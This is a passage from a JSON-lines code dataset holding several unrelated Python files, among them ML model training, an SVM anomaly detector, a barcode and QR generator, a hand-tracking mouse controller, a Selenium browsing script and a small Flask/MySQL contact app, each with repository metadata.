10)),\n 'reg_alpha': [0, 1e-1, 1, 2, 5, 7, 10, 50, 100],\n 'reg_lambda': [0, 1e-1, 1, 5, 10, 20, 50, 100]}\n\n# PARAMETERS FOR XGBOOST -----------\nparam_xgb = {'max_depth': [int(x) for x in np.linspace(2, 16, num = 11)],\n 'n_estimators': n_estimators,\n 'learning_rate': learn_rate,\n 'colsample_bytree': list(np.linspace(0.1, 1, num = 5)),\n 'subsample': list(np.linspace(0.1, 1, num = 5)),\n 'reg_alpha': [0, 1e-1, 1, 2, 5, 7, 10, 50, 100],\n 'reg_lambda': [0, 1e-1, 1, 5, 10, 20, 50, 100]}\n\n# PARAMETERS FOR CATBOOSTING ------\n\nparam_cat = {'iterations': n_estimators,\n 'learning_rate': learn_rate,\n 'rsm': list(np.linspace(0.1, 1, num = 10)),\n 'depth': [int(x) for x in np.linspace(2, 16, num = 11)]\n , 'l2_leaf_reg': [1, 2, 3, 4, 5, 7, 9, 15, 20]}\n\n\n\nparam_dictionary = {\n 'rand_for': param_rf\n ,'lightgbm': param_lgb\n , 'lasso': param_en\n , 'catboost': param_cat\n , 'xgboost': param_xgb\n}\n\n\nresults_train = {}\nresults_val = {}\nresults_test = {}\n\ny_train = pd.read_pickle(f\"{path_to_processed}y_train.pkl.gz\", compression = 'gzip')\ny_test = pd.read_pickle(f\"{path_to_processed}y_test.pkl.gz\", compression = 'gzip')\ny_val = pd.read_pickle(f\"{path_to_processed}y_val.pkl.gz\", compression = 'gzip')\n\nwith open(f'{path_to_repo}log.txt', 'w') as f:\n f.write(f'{os.cpu_count()}')\n\nfor method in method_list:\n print(method)\n # Load the dataframes\n X_train = pd.read_pickle(f\"{path_to_processed}train_clean{method}.pkl.gz\", compression = 'gzip')\n X_test = pd.read_pickle(f\"{path_to_processed}test_clean{method}.pkl.gz\", compression = 'gzip')\n X_val = pd.read_pickle(f\"{path_to_processed}val_clean{method}.pkl.gz\", compression = 'gzip')\n print(\"Dataframes successfully loaded\")\n train_res = {}\n val_res = {}\n test_res = {}\n for estimator in model_dict.keys():\n print(estimator)\n \n with open(f'{path_to_repo}log.txt', 'w') as f:\n f.write(f'{os.cpu_count()} | {method} | {estimator}')\n try:\n with open(f'{path_to_models_pol}/_{estimator}_{method}{tune_tag}', 'rb') as file:\n model = dill.load(file)\n print('Model already trained')\n except:\n print('Fitting Model')\n model = model_dict[estimator]\n if tune_models:\n gridsearch = RandomizedSearchCV(model, param_dictionary[estimator], cv = 5, n_jobs = -1, verbose = 4)\n gridsearch.fit(X_train, y_train.final_polarization)\n model = gridsearch.best_estimator_\n else:\n model.fit(X_train, y_train.final_polarization)\n\n with open(f'{path_to_models_pol}/_{estimator}_{method}{tune_tag}', 'wb') as file:\n dill.dump(model, file)\n print('Model saved') \n train_res[estimator] = evaluate_model(X_train, y_train.final_polarization, model)\n val_res[estimator] = evaluate_model(X_val, y_val.final_polarization, model)\n test_res[estimator] = evaluate_model(X_test, y_test.final_polarization, model)\n results_train[method] = train_res\n results_val[method] = val_res\n results_test[method] = test_res\n\n\n\nwith open(f'{path_to_results}train_results{tune_tag}.pickle', 'wb') as handle:\n pickle.dump(results_train, handle)\nwith open(f'{path_to_results}val_results{tune_tag}.pickle', 'wb') as handle:\n pickle.dump(results_val, handle)\nwith open(f'{path_to_results}test_results{tune_tag}.pickle', 'wb') as handle:\n pickle.dump(results_test, handle)", "repo_name": "LucaAdorni/polpo", "sub_path": "codes/build_data/9_ml_baseline.py", "file_name": "9_ml_baseline.py", "file_ext": "py", "file_size_in_byte": 8756, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.getcwd", "line_number": 48, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 49, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 49, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 66, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 67, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 68, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 69, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 70, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 71, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 78, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_absolute_error", "line_number": 90, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 91, "usage_type": "call"}, {"api_name": "statsmodels.api.OLS", "line_number": 92, "usage_type": "call"}, {"api_name": "statsmodels.api", "line_number": 92, "usage_type": "name"}, {"api_name": "statsmodels.api.add_constant", "line_number": 92, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 102, "usage_type": "call"}, {"api_name": "sklearn.linear_model.Lasso", "line_number": 104, "usage_type": "call"}, {"api_name": "catboost.CatBoostRegressor", "line_number": 105, "usage_type": "call"}, {"api_name": "xgboost.XGBRegressor", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 166, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 167, "usage_type": "call"}, {"api_name": "pandas.read_pickle", "line_number": 185, "usage_type": "call"}, {"api_name": "pandas.read_pickle", "line_number": 186, "usage_type": "call"}, {"api_name": "pandas.read_pickle", "line_number": 187, "usage_type": "call"}, {"api_name": "os.cpu_count", "line_number": 190, "usage_type": "call"}, {"api_name": "pandas.read_pickle", "line_number": 195, "usage_type": "call"}, {"api_name": "pandas.read_pickle", "line_number": 196, "usage_type": "call"}, {"api_name": "pandas.read_pickle", "line_number": 197, "usage_type": "call"}, {"api_name": "os.cpu_count", "line_number": 206, "usage_type": "call"}, {"api_name": "dill.load", "line_number": 209, "usage_type": "call"}, {"api_name": "sklearn.model_selection.RandomizedSearchCV", "line_number": 215, "usage_type": "call"}, {"api_name": "dill.dump", "line_number": 222, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 234, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 236, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 238, "usage_type": "call"}]} +{"seq_id": "34886064025", "text": "import logging\n\nimport numpy as np\nimport six\nfrom sklearn import svm\nimport voluptuous\n\nimport monasca_analytics.banana.typeck.type_util as type_util\nimport monasca_analytics.component.params as params\nfrom monasca_analytics.sml import base\nfrom monasca_analytics.util import validation_utils as vu\n\nlogger = logging.getLogger(__name__)\n\nANOMALY = -1\nNON_ANOMALY = 1\nN_SAMPLES = 1000\nOUTLIERS_FRACTION = 0.10\n\n\nclass SvmOneClass(base.BaseSML):\n \"\"\"Anomaly detection based on the SVM one class algorithm\"\"\"\n\n def __init__(self, _id, _config):\n super(SvmOneClass, self).__init__(_id, _config)\n self._nb_samples = int(_config[\"nb_samples\"])\n\n @staticmethod\n def validate_config(_config):\n svm_schema = voluptuous.Schema({\n \"module\": voluptuous.And(six.string_types[0],\n vu.NoSpaceCharacter()),\n \"nb_samples\": voluptuous.Or(float, int)\n }, required=True)\n return svm_schema(_config)\n\n @staticmethod\n def get_default_config():\n return {\n \"module\": SvmOneClass.__name__,\n \"nb_samples\": N_SAMPLES\n }\n\n @staticmethod\n def get_params():\n return [\n params.ParamDescriptor(\"nb_samples\", type_util.Number(), N_SAMPLES)\n ]\n\n def number_of_samples_required(self):\n return self._nb_samples\n\n def _generate_train_test_sets(self, samples, ratio_train):\n num_samples_train = int(len(samples) * ratio_train)\n X_train = np.array(samples[:num_samples_train])\n X_test = np.array(samples[num_samples_train:])\n return X_train, X_test\n\n def learn_structure(self, samples):\n X_train, X_test = self._generate_train_test_sets(samples, 0.75)\n logger.info(\"Training with \" + str(len(X_train)) +\n \"samples; testing with \" + str(len(X_test)) + \" samples.\")\n svm_detector = svm.OneClassSVM(nu=0.95 * OUTLIERS_FRACTION + 0.05,\n kernel=\"rbf\", gamma=0.1)\n svm_detector.fit(X_train)\n Y_test = svm_detector.predict(X_test)\n num_anomalies = Y_test[Y_test == -1].size\n logger.info(\"Found \" + str(num_anomalies) +\n \" anomalies in testing set\")\n return svm_detector\n", "repo_name": "daisuke-fujita/monsaca-analytics_20190912", "sub_path": "monasca_analytics/sml/svm_one_class.py", "file_name": "svm_one_class.py", "file_ext": "py", "file_size_in_byte": 2279, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.getLogger", "line_number": 13, "usage_type": "call"}, {"api_name": "monasca_analytics.sml.base.BaseSML", "line_number": 21, "usage_type": "attribute"}, {"api_name": "monasca_analytics.sml.base", "line_number": 21, "usage_type": "name"}, {"api_name": "voluptuous.Schema", "line_number": 30, "usage_type": "call"}, {"api_name": "voluptuous.And", "line_number": 31, "usage_type": "call"}, {"api_name": "six.string_types", "line_number": 31, "usage_type": "attribute"}, {"api_name": "monasca_analytics.util.validation_utils.NoSpaceCharacter", "line_number": 32, "usage_type": "call"}, {"api_name": "monasca_analytics.util.validation_utils", "line_number": 32, "usage_type": "name"}, {"api_name": "voluptuous.Or", "line_number": 33, "usage_type": "call"}, {"api_name": "monasca_analytics.component.params.ParamDescriptor", "line_number": 47, "usage_type": "call"}, {"api_name": "monasca_analytics.component.params", "line_number": 47, "usage_type": "name"}, {"api_name": "monasca_analytics.banana.typeck.type_util.Number", "line_number": 47, "usage_type": "call"}, {"api_name": "monasca_analytics.banana.typeck.type_util", "line_number": 47, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 56, "usage_type": "call"}, {"api_name": "sklearn.svm.OneClassSVM", "line_number": 63, "usage_type": "call"}, {"api_name": "sklearn.svm", "line_number": 63, "usage_type": "name"}]} +{"seq_id": "21706242249", "text": "#!/usr/bin/env python3\n# coding: utf-8\n\n'''\ntest qrcode generator\n'''\n\nimport argparse\nimport os\nfrom collections import OrderedDict\nfrom urllib.parse import urlencode\nfrom PIL import Image\n\nimport requests\n#import numpy as np\nfrom httpbin import show_results\n\n# pylint: disable=no-member\n# pylint: disable=using-constant-test\n\ndef get_qrcode(text='The quick brown fox jumps over the lazy dog', showimage=True):\n ''' qrcode '''\n # http://goqr.me/api/doc/\n # https://api.qrserver.com/v1/create-qr-code/?data=[URL-encoded-text]&size=[pixels]x[pixels]\n url = 'https://api.qrserver.com/v1/create-qr-code/'\n payload = {\n 'data': text,\n 'size': '256x256',\n 'ecc': 'M'\n }\n r = requests.get(url, params=payload, timeout=5.0)\n fn = show_results(r)\n if showimage:\n GenerateBarcode.show_image(fn)\n\nclass GenerateBarcode():\n ''' barcode: https://github.com/metafloor/bwip-js/wiki/Online-Barcode-API '''\n def __init__(self, showimage=True):\n self.url = 'https://bwipjs-api.metafloor.com/'\n self.resp = None\n self.showimage = showimage\n\n def show_resp(self):\n ''' show resp data '''\n if self.resp is None:\n return\n fn = show_results(self.resp)\n if fn is None:\n return\n if self.showimage:\n self.show_image(fn)\n\n def get_code128(self, text='AB1234567890'):\n ''' code 128 '''\n payload = {\n 'bcid': 'code128',\n 'text': text,\n 'scale': 3,\n 'rotate': 'N',\n 'includetext': 'null'\n }\n self.resp = requests.get(self.url, params=payload, timeout=5.0)\n\n def get_ean13(self, text='4901991570014'):\n ''' generate ean13 barcode '''\n params = OrderedDict(\n [('bcid', 'ean13'), ('text', text), ('scale', 3),\n ('rotate', 'N'), ('includetext', 'null')]\n )\n self.resp = requests.get(self.url, params=urlencode(params),\n timeout=5.0)\n\n def get_isbn(self, text='978-986-137-195-5'):\n ''' generate ean13 barcode '''\n if text.find('-') < 0:\n print('[get_isbn] need add proper hypen in ISBN')\n return\n params = OrderedDict(\n [('bcid', 'isbn'), ('text', text), ('scale', 3),\n ('rotate', 'N'), ('includetext', 'null')]\n )\n self.resp = requests.get(self.url, params=urlencode(params),\n timeout=5.0)\n\n @staticmethod\n def show_image(fn):\n ''' show image '''\n if fn is None or not os.path.isfile(fn):\n print('failed to get image:', fn)\n return\n image = Image.open(fn)\n image.show()\n\n # pylint: disable=import-outside-toplevel\n @staticmethod\n def show_image_cv2(fn, fillbackground=True):\n '''\n because of returned image with transparent background color,\n this function will replace it into white\n '''\n import cv2\n img = cv2.imread(fn, cv2.IMREAD_UNCHANGED)\n if img is None:\n print('failed to read image')\n return\n\n if fillbackground:\n trans_mask = img[:, :, 3] == 0\n img[trans_mask] = [255, 255, 255, 255]\n new_img = cv2.cvtColor(img, cv2.COLOR_BGRA2BGR)\n else:\n new_img = img\n\n cv2.imshow('image', new_img)\n cv2.waitKey()\n\n\ndef do_isbn(arg, showimage=True):\n ''' test '''\n print('isbn:', arg)\n gen = GenerateBarcode(showimage)\n # help to hypenate isbn\n # http://www.otzberg.net/isbn/index.php?isbn=9789861772080\n gen.get_isbn(arg)\n gen.show_resp()\n\ndef do_urls(args, showimage=True):\n '''\n text = 'https://goodinfo.tw/StockInfo/StockDetail.asp?STOCK_ID=4938'\n '''\n for t in args:\n get_qrcode(t, showimage)\n\ndef main():\n ''' main '''\n parser = argparse.ArgumentParser(description='use web API to generate barcode')\n parser.add_argument(\"urls\", nargs='*', help='qrcode')\n parser.add_argument(\"--isbn\", nargs='?', help='ISBN need hypenated, eg: 978-986-998-168-2')\n parser.add_argument(\"-v\", \"--verbose\", action='store_true', default=True,\n help='show resp results')\n parser.add_argument(\"-s\", \"--showimage\", action='store_true', help='show generated image')\n args = parser.parse_args()\n\n if args.isbn:\n do_isbn(args.isbn, args.showimage)\n elif args.urls:\n do_urls(args.urls, args.showimage)\n else:\n print('no aruments provided, use --help to see')\n\nif __name__ == '__main__':\n main()\n", "repo_name": "ericosur/ericosur-snippet", "sub_path": "python3/rpc/testqr.py", "file_name": "testqr.py", "file_ext": "py", "file_size_in_byte": 4594, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "requests.get", "line_number": 31, "usage_type": "call"}, {"api_name": "httpbin.show_results", "line_number": 32, "usage_type": "call"}, {"api_name": "httpbin.show_results", "line_number": 47, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 62, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 66, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 70, "usage_type": "call"}, {"api_name": "urllib.parse.urlencode", "line_number": 70, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 78, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 82, "usage_type": "call"}, {"api_name": "urllib.parse.urlencode", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path", "line_number": 88, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 91, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 91, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 102, "usage_type": "call"}, {"api_name": "cv2.IMREAD_UNCHANGED", "line_number": 102, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 110, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGRA2BGR", "line_number": 110, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 114, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 115, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 136, "usage_type": "call"}]} +{"seq_id": "23550186040", "text": "import math\r\nimport cv2\r\nfrom numpy import (interp, uint8, array)\r\nfrom time import sleep\r\nfrom mediapipe.python.solutions.hands import Hands\r\nimport ctypes\r\nimport imutils\r\nimport requests\r\n\r\nwidth_display, height_display = 1366, 768\r\nwidth_cam, height_cam = 640, 480\r\n\r\nurl = 'http://25.174.141.66:8080/shot.jpg'\r\n\r\nsmoothen = 6\r\nprevious_x, previous_y = 0, 0\r\ncurrent_x, current_y = 0, 0\r\n\r\nhands = Hands()\r\n\r\ndef get_image(): \r\n img_reqs = requests.get(url)\r\n img_arr = array(bytearray(img_reqs.content), dtype=uint8)\r\n img_deco = cv2.imdecode(img_arr, -1)\r\n img_flip = cv2.flip(img_deco, 0)\r\n return imutils.resize(img_flip, width=width_cam, height=height_cam)\r\n\r\ndef trackHand():\r\n while True:\r\n global previous_x, previous_y, current_x, current_y\r\n\r\n img = get_image()\r\n results = hands.process(cv2.cvtColor(img, cv2.COLOR_BGR2RGB))\r\n\r\n handType = \"Right\"\r\n h, w, c = img.shape\r\n my_lm_list = []\r\n\r\n if results.multi_hand_landmarks:\r\n for handType, handLms in zip(results.multi_handedness, results.multi_hand_landmarks):\r\n for lm in handLms.landmark:\r\n px, py = int(lm.x * w), int(lm.y * h)\r\n my_lm_list.append([px, py])\r\n \r\n if my_lm_list:\r\n x1, y1 = my_lm_list[8]\r\n x2, y2 = my_lm_list[12]\r\n tipIds = [4, 8, 12, 16, 20]\r\n finger_up = []\r\n\r\n if handType == \"Right\":\r\n if my_lm_list[tipIds[0]][0] > my_lm_list[tipIds[0] - 1][0]:\r\n finger_up.append(1)\r\n else:\r\n finger_up.append(0)\r\n else:\r\n if my_lm_list[tipIds[0]][0] < my_lm_list[tipIds[0] - 1][0]:\r\n finger_up.append(1)\r\n else:\r\n finger_up.append(0)\r\n \r\n for f in range(1, 5):\r\n if my_lm_list[tipIds[f]][1] < my_lm_list[tipIds[f] - 2][1]:\r\n finger_up.append(1)\r\n else:\r\n finger_up.append(0)\r\n \r\n frameRX, frameRY = 180, 180\r\n width_frame, height_frame = width_cam - frameRX, height_cam - frameRY\r\n\r\n if finger_up[1] == 1 and finger_up[2] == 0:\r\n\r\n x3 = interp(x1, (frameRX, width_frame), (0, width_display))\r\n y3 = interp(y1, (frameRY, height_frame), (0, height_display))\r\n\r\n current_x = int(previous_x + (x3 - previous_x) / smoothen)\r\n current_y = int(previous_y + (y3 - previous_y) / smoothen)\r\n\r\n ctypes.windll.user32.SetCursorPos(current_x, current_y)\r\n previous_x, previous_y = current_x, current_y\r\n\r\n if finger_up[1] == 1 and finger_up[2] == 1:\r\n length = math.hypot(x2 - x1, y2 - y1)\r\n\r\n if length < 30:\r\n ctypes.windll.user32.mouse_event(0x0002)\r\n ctypes.windll.user32.mouse_event(0x0004)\r\n sleep(0.3)\r\n \r\n key = cv2.waitKey(1)\r\n if key == ord('q'):\r\n break\r\n \r\n cv2.destroyAllWindows()\r\n return 'exit code 1'\r\n", "repo_name": "CJD-haw/Virtual-ATM-System", "sub_path": "Code/Smart.py", "file_name": "Smart.py", "file_ext": "py", "file_size_in_byte": 3201, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "mediapipe.python.solutions.hands.Hands", "line_number": 19, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 23, "usage_type": "name"}, {"api_name": "cv2.imdecode", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.flip", "line_number": 25, "usage_type": "call"}, {"api_name": "imutils.resize", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 33, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 33, "usage_type": "attribute"}, {"api_name": "numpy.interp", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.interp", "line_number": 74, "usage_type": "call"}, {"api_name": "ctypes.windll.user32.SetCursorPos", "line_number": 79, "usage_type": "call"}, {"api_name": "ctypes.windll", "line_number": 79, "usage_type": "attribute"}, {"api_name": "math.hypot", "line_number": 83, "usage_type": "call"}, {"api_name": "ctypes.windll.user32.mouse_event", "line_number": 86, "usage_type": "call"}, {"api_name": "ctypes.windll", "line_number": 86, "usage_type": "attribute"}, {"api_name": "ctypes.windll.user32.mouse_event", "line_number": 87, "usage_type": "call"}, {"api_name": "ctypes.windll", "line_number": 87, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 88, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 90, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 94, "usage_type": "call"}]} +{"seq_id": "75200050247", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\ndatos = np.loadtxt(\"movimiento.dat\")\n\nG = np.zeros((len(datos[:,0]), 3))\nfor i in range(0,len(datos[:,0])):\n\tG[i][0] = 1\n\tG[i][1] = datos[i][0]\n\tG[i][2] = datos[i][0]**2 * 0.5\nGT = np.transpose(G)\nsol = np.linalg.solve(np.dot(GT,G),np.dot(GT,datos[:,1]))\n\nT = np.linspace(0, 10, 1000) \nplt.scatter(datos[:,0],datos[:,1])\nplt.plot(T, sol[0] + sol[1]*T + sol[2]*0.5*T**2)\nplt.show()\n", "repo_name": "ivanmbur/metodos_computacionales", "sub_path": "clase7/minimos_cuadrados.py", "file_name": "minimos_cuadrados.py", "file_ext": "py", "file_size_in_byte": 433, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.loadtxt", "line_number": 4, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.linalg.solve", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 12, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}]} +{"seq_id": "23473806277", "text": "import numpy as np\n\nfrom .control import model_setup\nfrom .cp_confocal import twod\n\n# 2D simple gauss\n\n\ndef CF_Gxy_gauss(parms, tau):\n u\"\"\" Two-dimensional diffusion with a Gaussian laser profile.\n\n G(τ) = offset + 1/( n * (1+τ/τ_diff) )\n\n Calculation of diffusion coefficient and concentration\n from the effective radius of the detection profile (r₀ = 2*σ):\n D = r₀²/(4*τ_diff)\n Conc = n/(π*r₀²)\n\n *parms* - a list of parameters.\n Parameters (parms[i]):\n [0] n Effective number of particles in confocal area\n [1] τ_diff Characteristic residence time in confocal area\n [2] offset\n *tau* - lag time\n \"\"\"\n n = parms[0]\n taudiff = parms[1]\n dc = parms[2]\n\n BB = twod(tau=tau, taudiff=taudiff)\n\n G = dc + 1/n * BB\n return G\n\n\ndef supplements(parms, countrate=None):\n # We can only give you the effective particle number\n n = parms[0]\n Info = list()\n if countrate is not None:\n # CPP\n cpp = countrate/n\n Info.append([\"cpp [kHz]\", cpp])\n return Info\n\n\nparms = [4.0, 0.4, 0.0]\n\n# boundaries\nboundaries = [[0, np.inf]]*len(parms)\nboundaries[-1] = [-np.inf, np.inf]\n\nmodel_setup(\n modelid=6001,\n name=\"2D diffusion (confocal)\",\n comp=\"2D\",\n mtype=\"Confocal (Gaussian)\",\n fctn=CF_Gxy_gauss,\n par_labels=[u\"n\",\n u\"τ_diff [ms]\",\n u\"offset\"],\n par_values=parms,\n par_vary=[True, True, False],\n par_boundaries=boundaries,\n supplementary_method=supplements\n)\n", "repo_name": "FCS-analysis/PyCorrFit", "sub_path": "pycorrfit/models/model_confocal_2d.py", "file_name": "model_confocal_2d.py", "file_ext": "py", "file_size_in_byte": 1564, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 39, "dataset": "github-code", "pt": "16", "api": [{"api_name": "cp_confocal.twod", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 50, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 51, "usage_type": "attribute"}, {"api_name": "control.model_setup", "line_number": 53, "usage_type": "call"}]} +{"seq_id": "38978288399", "text": "import html5_parser\nfrom bs4 import Comment\n\nfrom .common import inject_tm\n\n\ndef inject_tm_html(html_text):\n soup = parse_html(html_text)\n text_elems = soup.find_all(text=True)\n\n for elem in text_elems:\n if is_valid_text_elem(elem):\n elem.string.replace_with(inject_tm(elem.string))\n\n return str(soup)\n\n\n# -- helpers\n\ndef is_valid_text_elem(elem):\n return (\n not isinstance(elem.string, Comment)\n and elem.string\n and elem.string.strip()\n and elem.parent.name not in ('script', 'style')\n )\n\n\ndef parse_html(text):\n opts = {\n 'treebuilder': 'soup',\n 'namespace_elements': False,\n 'keep_doctype': True,\n 'sanitize_names': False,\n }\n return html5_parser.parse(text, **opts)\n", "repo_name": "sorrat/habr_proxy", "sub_path": "habr_proxy/inject_tm/bs4_.py", "file_name": "bs4_.py", "file_ext": "py", "file_size_in_byte": 772, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "common.inject_tm", "line_number": 13, "usage_type": "call"}, {"api_name": "bs4.Comment", "line_number": 22, "usage_type": "argument"}, {"api_name": "html5_parser.parse", "line_number": 36, "usage_type": "call"}]} +{"seq_id": "1347221941", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport string\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nimport time\n\n\n\n\n#try:\n# elementbtn = driver.find_element_by_class_name(\"btn\")\n#except:\n# time.sleep(timetosleep)\n# elementbtn = driver.find_element_by_class_name(\"btn\")\n#elementbtn.click()\n #Country = driver.find_element_by_id(\"ctl00_idPlaceHolder3_optCountry\")\n #Country.click()\n#AlternateCountry1 = driver.find_element_by_xpath(\"//select[@id='ctl00_idPlaceHolder3_optCountry']/option[value()='233']\")\n #AlternateCountry1.click()\n #time.sleep(5)\n#def check (i, j, k, l, m, n):\n# conc = str(i) + str(j) + str(k)+ str(l)+ str(m) + str(n)\n# print(\"Using:\", conc)\n# elementpin = driver.find_element_by_name(\"pin\") #.find_element_by_id(\"email\")\n# elementpin.send_keys(conc)\n# elementpin.send_keys(Keys.RETURN)\n# time.sleep(0.25)\n# elementpin = driver.find_element_by_name(\"pin\")\n# elementpin.send_keys(Keys.CONTROL + 'a')\n# elementpin.send_keys(Keys.DELETE)\n \ndef setup(wbpg):\n driver = webdriver.Firefox()\n driver.get(wbpg)\n time.sleep(0.25)\n OpenMine = driver.find_element_by_class_name(\"clsNavL2\")\n OpenMine.click()\n time.sleep(0.25)\n Country = driver.find_element_by_xpath(\"/html/body/form/div[6]/div[1]/div/div[1]/select/option[233]\")\n Country.click()\n Type = driver.find_element_by_xpath(\"/html/body/form/div[6]/div[1]/div/div[2]/select[1]/option[12]\")\n Type.click()\n Display = driver.find_element_by_xpath(\"/html/body/form/div[6]/div[1]/div/div[3]/select[2]/option[5]\")\n Display.click()\n ShowList = driver.find_elements_by_id(\"ctl00_idPlaceHolder3_idButtonList\")\n ShowList.click()\n \nif __name__ == \"__main__\":\n webpage = \"https://www.aditnow.co.uk/\"\n setup(webpage)\n\n#/html/body/form/div[6]/div[1]/div/div[1]/select/option[232]\n ", "repo_name": "ScarlettDixon/5-CTFs-GameJams", "sub_path": "CyberCrime2019/Practices.py", "file_name": "Practices.py", "file_ext": "py", "file_size_in_byte": 1882, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "selenium.webdriver.Firefox", "line_number": 34, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 34, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 36, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 39, "usage_type": "call"}]} +{"seq_id": "1921141612", "text": "from flask import Flask, render_template, request,redirect, url_for, flash\nfrom flask_mysqldb import MySQL\n\napp = Flask(__name__)\n\n#mysql conections\napp.config['MYSQL_HOST'] = 'localhost'\napp.config['MYSQL_USER'] = 'cristian'\napp.config['MYSQL_PASSWORD'] = '2016'\napp.config['MYSQL_DB'] = 'app_flask'\nmysql = MySQL(app)\n\n#sessions\napp.secret_key = 'mysecretkey'\n\n@app.route('/')\ndef index():\n cursor = mysql.connection.cursor()\n cursor.execute(\"SELECT * FROM contact\")\n data = cursor.fetchall()\n return render_template('index.html', contacts=data)\n\n@app.route('/add_contact',methods=['POST'])\ndef add_contact():\n if request.method == 'POST':\n fullname = request.form['fullname']\n phone = request.form['phone']\n email = request.form['email']\n cursor = mysql.connection.cursor()\n cursor.execute(\"INSERT INTO contact (fullname, phone, email) VALUES (%s, %s, %s)\", (fullname, phone, email))\n mysql.connection.commit()\n flash('contact save success',)\n return redirect(url_for('index'))\n\n@app.route('/edit')\ndef edit_contact():\n return 'Hello edit'\n\n@app.route('/delete_contact')\ndef delete_contact():\n return 'Hello delete'\n\n\n\nif __name__ == '__main__':\n app.run(port=8080, 